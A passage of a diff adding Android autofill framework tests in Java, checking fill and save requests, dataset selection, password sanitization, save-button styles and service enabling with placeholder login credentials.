+        // Assert the snack bar is shown and tap "Save".
+        final UiObject2 saveSnackBar = mUiBot.assertSaveShowing(saveDescription, expectedType);
+        mUiBot.saveForAutofill(saveSnackBar, true);
+
+        // Assert save was called.
+        sReplier.getNextSaveRequest();
+    }
+
+    @Presubmit
+    @Test
+    public void testDontTriggerSaveOnFinishWhenRequestedByFlag() throws Exception {
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .setSaveInfoFlags(SaveInfo.FLAG_DONT_SAVE_ON_FINISH)
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Validation check.
+        mUiBot.assertNoDatasetsEver();
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started
+        sReplier.getNextFillRequest();
+
+        // Set credentials...
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+
+        // ...and login
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+        // Make sure it didn't trigger save.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+    }
+
+    @Presubmit
+    @Test
+    public void testAutoFillOneDatasetAndSaveWhenFlagSecure() throws Exception {
+        mActivity.setFlags(FLAG_SECURE);
+        testAutoFillOneDatasetAndSave();
+    }
+
+    @Test
+    public void testAutoFillOneDatasetWhenFlagSecure() throws Exception {
+        mActivity.setFlags(FLAG_SECURE);
+        testAutoFillOneDataset();
+    }
+
+    @Presubmit
+    @Test
+    @AppModeFull(reason = "Service-specific test")
+    public void testDisableSelf() throws Exception {
+        enableService();
+
+        // Can disable while connected.
+        mActivity.runOnUiThread(() -> mContext.getSystemService(
+                AutofillManager.class).disableAutofillServices());
+
+        // Ensure disabled.
+        assertServiceDisabled();
+    }
+
+    @Presubmit
+    @Test
+    public void testNeverRejectStyleNegativeSaveButton() throws Exception {
+        negativeSaveButtonStyle(SaveInfo.NEGATIVE_BUTTON_STYLE_NEVER);
+    }
+
+    @Presubmit
+    @Test
+    public void testRejectStyleNegativeSaveButton() throws Exception {
+        negativeSaveButtonStyle(SaveInfo.NEGATIVE_BUTTON_STYLE_REJECT);
+    }
+
+    @Test
+    public void testCancelStyleNegativeSaveButton() throws Exception {
+        negativeSaveButtonStyle(SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL);
+    }
+
+    private void negativeSaveButtonStyle(int style) throws Exception {
+        enableService();
+
+        // Set service behavior.
+
+        final String intentAction = "android.autofillservice.cts.CUSTOM_ACTION";
+
+        // Configure the save UI.
+        final IntentSender listener = PendingIntent.getBroadcast(mContext, 0,
+                new Intent(intentAction), PendingIntent.FLAG_IMMUTABLE).getIntentSender();
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .setNegativeAction(style, listener)
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.onUsername((v) -> v.setText("foo"));
+        mActivity.onPassword((v) -> v.setText("foo"));
+        mActivity.tapLogin();
+
+        // Start watching for the negative intent
+        final CountDownLatch latch = new CountDownLatch(1);
+        final IntentFilter intentFilter = new IntentFilter(intentAction);
+        mContext.registerReceiver(new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                mContext.unregisterReceiver(this);
+                latch.countDown();
+            }
+        }, intentFilter);
+
+        // Trigger the negative button.
+        mUiBot.saveForAutofill(style, /* yesDoIt= */ false, SAVE_DATA_TYPE_PASSWORD);
+
+        // Wait for the custom action.
+        assertThat(latch.await(5, TimeUnit.SECONDS)).isTrue();
+    }
+
+    @Presubmit
+    @Test
+    public void testContinueStylePositiveSaveButton() throws Exception {
+        enableService();
+
+        // Set service behavior.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .setPositiveAction(SaveInfo.POSITIVE_BUTTON_STYLE_CONTINUE)
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.onUsername((v) -> v.setText("foo"));
+        mActivity.onPassword((v) -> v.setText("foo"));
+        mActivity.tapLogin();
+
+        // Start watching for the negative intent
+        // Trigger the negative button.
+        mUiBot.saveForAutofill(SaveInfo.POSITIVE_BUTTON_STYLE_CONTINUE, SAVE_DATA_TYPE_PASSWORD);
+
+        // Assert save was called.
+        sReplier.getNextSaveRequest();
+    }
+
+    @Test
+    @AppModeFull(reason = "Unit test")
+    public void testGetTextInputType() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(NO_RESPONSE);
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Assert input text on fill request:
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        final ViewNode label = findNodeByResourceId(fillRequest.structure, ID_PASSWORD_LABEL);
+        assertThat(label.getInputType()).isEqualTo(TYPE_NULL);
+        final ViewNode password = findNodeByResourceId(fillRequest.structure, ID_PASSWORD);
+        assertWithMessage("No TYPE_TEXT_VARIATION_PASSWORD on %s", password.getInputType())
+                .that(password.getInputType() & TYPE_TEXT_VARIATION_PASSWORD)
+                .isEqualTo(TYPE_TEXT_VARIATION_PASSWORD);
+    }
+
+    @Test
+    @AppModeFull(reason = "Unit test")
+    public void testNoContainers() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(NO_RESPONSE);
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        mUiBot.assertNoDatasetsEver();
+
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        // Assert it only has 1 root view with 10 "leaf" nodes:
+        // 1.text view for app title
+        // 2.username text label
+        // 3.username text field
+        // 4.password text label
+        // 5.password text field
+        // 6.output text field
+        // 7.clear button
+        // 8.save button
+        // 9.login button
+        // 10.cancel button
+        //
+        // But it also has an intermediate container (for username) that should be included because
+        // it has a resource id.
+
+        assertNumberOfChildren(fillRequest.structure, 12);
+
+        // Make sure container with a resource id was included:
+        final ViewNode usernameContainer = findNodeByResourceId(fillRequest.structure,
+                ID_USERNAME_CONTAINER);
+        assertThat(usernameContainer).isNotNull();
+        assertThat(usernameContainer.getChildCount()).isEqualTo(2);
+    }
+
+    @Presubmit
+    @Test
+    public void testAutofillManuallyOneDataset() throws Exception {
+        // Set service.
+        enableService();
+
+        // And activity.
+        mActivity.onUsername((v) -> v.setImportantForAutofill(IMPORTANT_FOR_AUTOFILL_NO));
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Explicitly uses the contextual menu to test that functionality.
+        mUiBot.getAutofillMenuOption(ID_USERNAME).click();
+
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+        assertHasFlags(fillRequest.flags, FLAG_MANUAL_REQUEST);
+
+        // Should have been automatically filled.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
+    public void testAutofillManuallyOneDatasetWhenClipboardFull() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set clipboard.
+        ClipboardManager cm = (ClipboardManager) mActivity.getSystemService(CLIPBOARD_SERVICE);
+        cm.setPrimaryClip(ClipData.newPlainText(null, "test"));
+
+        // And activity.
+        mActivity.onUsername((v) -> v.setImportantForAutofill(IMPORTANT_FOR_AUTOFILL_NO));
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Explicitly uses the contextual menu to test that functionality.
+        mUiBot.getAutofillMenuOption(ID_USERNAME).click();
+
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+        assertHasFlags(fillRequest.flags, FLAG_MANUAL_REQUEST);
+
+        // Should have been automatically filled.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // clear clipboard
+        cm.clearPrimaryClip();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
+    public void testAutofillManuallyTwoDatasetsPickFirst() throws Exception {
+        autofillManuallyTwoDatasets(true);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
+    public void testAutofillManuallyTwoDatasetsPickSecond() throws Exception {
+        autofillManuallyTwoDatasets(false);
+    }
+
+    private void autofillManuallyTwoDatasets(boolean pickFirst) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "jenny")
+                        .setField(ID_PASSWORD, "8675309")
+                        .setPresentation(createPresentation("Jenny"))
+                        .build())
+                .build());
+        if (pickFirst) {
+            mActivity.expectAutoFill("dude", "sweet");
+        } else {
+            mActivity.expectAutoFill("jenny", "8675309");
+
+        }
+
+        // Force a manual autofill request.
+        mActivity.forceAutofillOnUsername();
+
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+        assertHasFlags(fillRequest.flags, FLAG_MANUAL_REQUEST);
+
+        // Auto-fill it.
+        final UiObject2 picker = mUiBot.assertDatasets("The Dude", "Jenny");
+        mUiBot.selectDataset(picker, pickFirst ? "The Dude" : "Jenny");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
+    public void testAutofillManuallyPartialField() throws Exception {
+        // Set service.
+        enableService();
+
+        sReplier.addResponse(NO_RESPONSE);
+        // And activity.
+        mActivity.onUsername((v) -> v.setText("dud"));
+        mActivity.onPassword((v) -> v.setText("IamSecretMan"));
+
+        // setText() will trigger a fill request.
+        // Waits the first fill request triggered by the setText() is received by the service to
+        // avoid flaky.
+        sReplier.getNextFillRequest();
+        mUiBot.waitForIdle();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Force a manual autofill request.
+        mActivity.forceAutofillOnUsername();
+
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+        assertHasFlags(fillRequest.flags, FLAG_MANUAL_REQUEST);
+        // Username value should be available because it triggered the manual request...
+        assertValue(fillRequest.structure, ID_USERNAME, "dud");
+        // ... but password didn't
+        assertTextIsSanitized(fillRequest.structure, ID_PASSWORD);
+
+        // Selects the dataset.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
+    public void testAutofillManuallyAgainAfterAutomaticallyAutofilledBefore() throws Exception {
+        // Set service.
+        enableService();
+
+        /*
+         * 1st fill (automatic).
+         */
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Assert request.
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.flags).isEqualTo(0);
+        assertTextIsSanitized(fillRequest1.structure, ID_USERNAME);
+        assertTextIsSanitized(fillRequest1.structure, ID_PASSWORD);
+
+        // Select it.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        /*
+         * 2nd fill (manual).
+         */
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "DUDE")
+                .setField(ID_PASSWORD, "SWEET")
+                .setPresentation(createPresentation("THE DUDE"))
+                .build());
+        mActivity.expectAutoFill("DUDE", "SWEET");
+        // Change password to make sure it's not sent to the service.
+        mActivity.onPassword((v) -> v.setText("IamSecretMan"));
+
+        // Trigger auto-fill.
+        mActivity.forceAutofillOnUsername();
+
+        // Assert request.
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertHasFlags(fillRequest2.flags, FLAG_MANUAL_REQUEST);
+        assertValue(fillRequest2.structure, ID_USERNAME, "dude");
+        assertTextIsSanitized(fillRequest2.structure, ID_PASSWORD);
+
+        // Select it.
+        mUiBot.selectDataset("THE DUDE");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
+    public void testAutofillManuallyAgainAfterManuallyAutofilledBefore() throws Exception {
+        // Set service.
+        enableService();
+
+        /*
+         * 1st fill (manual).
+         */
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.forceAutofillOnUsername();
+
+        // Assert request.
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertHasFlags(fillRequest1.flags, FLAG_MANUAL_REQUEST);
+        assertValue(fillRequest1.structure, ID_USERNAME, "");
+        assertTextIsSanitized(fillRequest1.structure, ID_PASSWORD);
+
+        // Select it.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        /*
+         * 2nd fill (manual).
+         */
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "DUDE")
+                .setField(ID_PASSWORD, "SWEET")
+                .setPresentation(createPresentation("THE DUDE"))
+                .build());
+        mActivity.expectAutoFill("DUDE", "SWEET");
+        // Change password to make sure it's not sent to the service.
+        mActivity.onPassword((v) -> v.setText("IamSecretMan"));
+
+        // Trigger auto-fill.
+        mActivity.forceAutofillOnUsername();
+
+        // Assert request.
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertHasFlags(fillRequest2.flags, FLAG_MANUAL_REQUEST);
+        assertValue(fillRequest2.structure, ID_USERNAME, "dude");
+        assertTextIsSanitized(fillRequest2.structure, ID_PASSWORD);
+
+        // Select it.
+        mUiBot.selectDataset("THE DUDE");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @FlakyTest(bugId = 162372863) // Re-add @Presubmit after fixing.
+    @Test
+    public void testCommitMultipleTimes() throws Throwable {
+        // Set service.
+        enableService();
+
+        final CannedFillResponse response = new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build();
+
+        for (int i = 1; i <= 10; i++) {
+            Log.i(TAG, "testCommitMultipleTimes(): step " + i);
+            final String username = "user-" + i;
+            final String password = "pass-" + i;
+            try {
+                // Set expectations.
+                sReplier.addResponse(response);
+
+                Timeouts.IDLE_UNBIND_TIMEOUT.run("wait for session created", () -> {
+                    // Trigger auto-fill.
+                    mActivity.onUsername(View::clearFocus);
+                    mActivity.onUsername(View::requestFocus);
+
+                    return isConnected() ? "not_used" : null;
+                });
+
+                sReplier.getNextFillRequest();
+
+                // Validation check.
+                mUiBot.assertNoDatasetsEver();
+
+                // Set credentials...
+                mActivity.onUsername((v) -> v.setText(username));
+                mActivity.onPassword((v) -> v.setText(password));
+
+                // Change focus to prepare for next step - must do it before session is gone
+                mActivity.onPassword(View::requestFocus);
+
+                // ...and save them
+                mActivity.tapSave();
+
+                // Assert the snack bar is shown and tap "Save".
+                mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+                final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+                // Assert value of expected fields - should not be sanitized.
+                final ViewNode usernameNode = findNodeByResourceId(saveRequest.structure,
+                        ID_USERNAME);
+                assertTextAndValue(usernameNode, username);
+                final ViewNode passwordNode = findNodeByResourceId(saveRequest.structure,
+                        ID_PASSWORD);
+                assertTextAndValue(passwordNode, password);
+
+                waitUntilDisconnected();
+
+                // Wait and check if the save window is correctly hidden.
+                mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+            } catch (RetryableException e) {
+                throw new RetryableException(e, "on step %d", i);
+            } catch (Throwable t) {
+                throw new Throwable("Error on step " + i, t);
+            }
+        }
+    }
+
+    @Presubmit
+    @Test
+    public void testCancelMultipleTimes() throws Throwable {
+        // Set service.
+        enableService();
+
+        for (int i = 1; i <= 10; i++) {
+            Log.i(TAG, "testCancelMultipleTimes(): step " + i);
+            final String username = "user-" + i;
+            final String password = "pass-" + i;
+            sReplier.addResponse(new CannedDataset.Builder()
+                    .setField(ID_USERNAME, username)
+                    .setField(ID_PASSWORD, password)
+                    .setPresentation(createPresentation("The Dude"))
+                    .build());
+            mActivity.expectAutoFill(username, password);
+            try {
+                // Trigger auto-fill.
+                requestFocusOnUsername();
+
+                waitUntilConnected();
+                sReplier.getNextFillRequest();
+
+                // Auto-fill it.
+                mUiBot.selectDataset("The Dude");
+
+                // Check the results.
+                mActivity.assertAutoFilled();
+
+                // Change focus to prepare for next step - must do it before session is gone
+                requestFocusOnPassword();
+
+                // Rinse and repeat...
+                mActivity.tapClear();
+
+                waitUntilDisconnected();
+            } catch (RetryableException e) {
+                throw e;
+            } catch (Throwable t) {
+                throw new Throwable("Error on step " + i, t);
+            }
+        }
+    }
+
+    @Presubmit
+    @Test
+    public void testClickCustomButton() throws Exception {
+        // Set service.
+        enableService();
+
+        Intent intent = new Intent(mContext, EmptyActivity.class);
+        IntentSender sender = PendingIntent.getActivity(mContext, 0, intent,
+                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_CANCEL_CURRENT
+                        | PendingIntent.FLAG_IMMUTABLE).getIntentSender();
+
+        RemoteViews presentation = new RemoteViews(mPackageName, R.layout.list_item);
+        presentation.setTextViewText(R.id.text1, "Poke");
+        Intent firstIntent = new Intent(mContext, DummyActivity.class);
+        presentation.setOnClickPendingIntent(R.id.text1, PendingIntent.getActivity(
+                mContext, 0, firstIntent, PendingIntent.FLAG_ONE_SHOT
+                        | PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE));
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setAuthentication(sender, ID_USERNAME)
+                .setPresentation(presentation)
+                .build());
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+
+        // Click on the custom button
+        mUiBot.selectByText("Poke");
+
+        // Make sure the click worked
+        mUiBot.selectByText("foo");
+
+        // Go back to the filled app.
+        mUiBot.pressBack();
+    }
+
+    @Presubmit
+    @Test
+    public void testIsServiceEnabled() throws Exception {
+        disableService();
+        final AutofillManager afm = mActivity.getAutofillManager();
+        assertThat(afm.hasEnabledAutofillServices()).isFalse();
+        try {
+            enableService();
+            assertThat(afm.hasEnabledAutofillServices()).isTrue();
+        } finally {
+            disableService();
+        }
+    }
+
+    @Presubmit
+    @Test
+    public void testGetAutofillServiceComponentName() throws Exception {
+        final AutofillManager afm = mActivity.getAutofillManager();
+
+        enableService();
+        final ComponentName componentName = afm.getAutofillServiceComponentName();
+        assertThat(componentName.getPackageName()).isEqualTo(SERVICE_PACKAGE);
+        assertThat(componentName.getClassName()).endsWith(SERVICE_CLASS);
+
+        disableService();
+        assertThat(afm.getAutofillServiceComponentName()).isNull();
+    }
+
+    @Presubmit
+    @Test
+    public void testSetupComplete() throws Exception {
+        enableService();
+
+        // Validation check.
+        final AutofillManager afm = mActivity.getAutofillManager();
+        Helper.assertAutofillEnabled(afm, true);
+
+        // Now disable user_complete and try again.
+        try {
+            setUserComplete(mContext, false);
+            Helper.assertAutofillEnabled(afm, false);
+        } finally {
+            setUserComplete(mContext, true);
+        }
+    }
+
+    @Presubmit
+    @Test
+    public void testPopupGoesAwayWhenServiceIsChanged() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+        mUiBot.assertDatasets("The Dude");
+
+        // Now disable service by setting another service
+        Helper.enableAutofillService(mContext, NoOpAutofillService.SERVICE_NAME);
+
+        // ...and make sure popup's gone
+        mUiBot.assertNoDatasets();
+    }
+
+    // TODO(b/70682223): add a new test to make sure service with BIND_AUTOFILL permission works
+    @Presubmit
+    @Test
+    @AppModeFull(reason = "Service-specific test")
+    public void testServiceIsDisabledWhenNewServiceInfoIsInvalid() throws Exception {
+        serviceIsDisabledWhenNewServiceIsInvalid(BadAutofillService.SERVICE_NAME);
+    }
+
+    @Test
+    @AppModeFull(reason = "Service-specific test")
+    public void testServiceIsDisabledWhenNewServiceNameIsInvalid() throws Exception {
+        serviceIsDisabledWhenNewServiceIsInvalid("Y_U_NO_VALID");
+    }
+
+    private void serviceIsDisabledWhenNewServiceIsInvalid(String serviceName) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger autofill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+        mUiBot.assertDatasets("The Dude");
+
+        // Now disable service by setting another service...
+        Helper.enableAutofillService(mContext, serviceName);
+
+        // ...and make sure popup's gone
+        mUiBot.assertNoDatasets();
+
+        // Then try to trigger autofill again...
+        mActivity.onPassword(View::requestFocus);
+        //...it should not work!
+        mUiBot.assertNoDatasetsEver();
+    }
+
+    @Test
+    public void testAutofillMovesCursorToTheEnd() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+
+        // Auto-fill it.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // NOTE: need to call getSelectionEnd() inside the UI thread, otherwise it returns 0
+        final AtomicInteger atomicBombToKillASmallInsect = new AtomicInteger();
+
+        mActivity.onUsername((v) -> atomicBombToKillASmallInsect.set(v.getSelectionEnd()));
+        assertWithMessage("Wrong position on username").that(atomicBombToKillASmallInsect.get())
+                .isEqualTo(4);
+
+        mActivity.onPassword((v) -> atomicBombToKillASmallInsect.set(v.getSelectionEnd()));
+        assertWithMessage("Wrong position on password").that(atomicBombToKillASmallInsect.get())
+                .isEqualTo(5);
+    }
+
+    @Test
+    public void testAutofillLargeNumberOfDatasets() throws Exception {
+        // Set service.
+        enableService();
+
+        final StringBuilder bigStringBuilder = new StringBuilder();
+        for (int i = 0; i < 10_000; i++) {
+            bigStringBuilder.append("BigAmI");
+        }
+        final String bigString = bigStringBuilder.toString();
+
+        final int size = 100;
+        Log.d(TAG, "testAutofillLargeNumberOfDatasets(): " + size + " datasets with "
+                + bigString.length() + "-bytes id");
+
+        final CannedFillResponse.Builder response = new CannedFillResponse.Builder();
+        for (int i = 0; i < size; i++) {
+            final String suffix = "-" + (i + 1);
+            response.addDataset(new CannedDataset.Builder()
+                    .setField(ID_USERNAME, "user" + suffix)
+                    .setField(ID_PASSWORD, "pass" + suffix)
+                    .setId(bigString)
+                    .setPresentation(createPresentation("DS" + suffix))
+                    .build());
+        }
+
+        // Set expectations.
+        sReplier.addResponse(response.build());
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+
+        // Make sure all datasets are shown.
+        // TODO: improve assertDatasets() so it supports scrolling, and assert all of them are
+        // shown. In fullscreen there are 4 items, otherwise there are 3 items.
+        mUiBot.assertDatasetsContains("DS-1", "DS-2", "DS-3");
+
+        // TODO: once it supports scrolling, selects the last dataset and asserts it's filled.
+    }
+
+    @Presubmit
+    @Test
+    public void testCancellationSignalCalledAfterTimeout() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final OneTimeCancellationSignalListener listener =
+                new OneTimeCancellationSignalListener(Timeouts.FILL_TIMEOUT.ms() + 2000);
+        sReplier.addResponse(DO_NOT_REPLY_RESPONSE);
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Attach listener to CancellationSignal.
+        waitUntilConnected();
+        sReplier.getNextFillRequest().cancellationSignal.setOnCancelListener(listener);
+
+        // Assert results
+        listener.assertOnCancelCalled();
+    }
+
+    @Test
+    @AppModeFull(reason = "Unit test")
+    public void testNewTextAttributes() throws Exception {
+        enableService();
+        sReplier.addResponse(NO_RESPONSE);
+        mActivity.onUsername(View::requestFocus);
+
+        final FillRequest request = sReplier.getNextFillRequest();
+        final ViewNode username = findNodeByResourceId(request.structure, ID_USERNAME);
+        assertThat(username.getMinTextEms()).isEqualTo(2);
+        assertThat(username.getMaxTextEms()).isEqualTo(5);
+        assertThat(username.getMaxTextLength()).isEqualTo(25);
+
+        final ViewNode container = findNodeByResourceId(request.structure, ID_USERNAME_CONTAINER);
+        assertThat(container.getMinTextEms()).isEqualTo(-1);
+        assertThat(container.getMaxTextEms()).isEqualTo(-1);
+        assertThat(container.getMaxTextLength()).isEqualTo(-1);
+
+        final ViewNode password = findNodeByResourceId(request.structure, ID_PASSWORD);
+        assertThat(password.getMinTextEms()).isEqualTo(-1);
+        assertThat(password.getMaxTextEms()).isEqualTo(-1);
+        assertThat(password.getMaxTextLength()).isEqualTo(5000);
+    }
+
+    @Test
+    public void testUiShowOnChangeAfterAutofill() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude", createPresentation("dude"))
+                .setField(ID_PASSWORD, "sweet", createPresentation("sweet"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        mUiBot.assertDatasets("dude");
+        sReplier.getNextFillRequest();
+        mUiBot.selectDataset("dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+        mUiBot.assertNoDatasets();
+
+        // Delete a character.
+        sendKeyEvent("KEYCODE_DEL");
+        assertThat(mUiBot.getTextByRelativeId(ID_USERNAME)).isEqualTo("dud");
+
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Check autofill UI show.
+        final UiObject2 datasetPicker = mUiBot.assertDatasets("dude");
+
+        // Autofill again.
+        mUiBot.selectDataset(datasetPicker, "dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+        mUiBot.assertNoDatasets();
+    }
+
+    @Test
+    public void testUiShowOnChangeAfterAutofillOnePresentation() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        mUiBot.assertDatasets("The Dude");
+        sReplier.getNextFillRequest();
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+        mUiBot.assertNoDatasets();
+
+        // Delete username
+        mUiBot.setTextByRelativeId(ID_USERNAME, "");
+
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Check autofill UI show.
+        final UiObject2 datasetPicker = mUiBot.assertDatasets("The Dude");
+
+        // Autofill again.
+        mUiBot.selectDataset(datasetPicker, "The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+        mUiBot.assertNoDatasets();
+    }
+
+    @Presubmit
+    @Test
+    public void testCancelActionButton() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentationWithCancel("The Dude"))
+                        .build())
+                .setPresentationCancelIds(new int[]{R.id.cancel_fill});
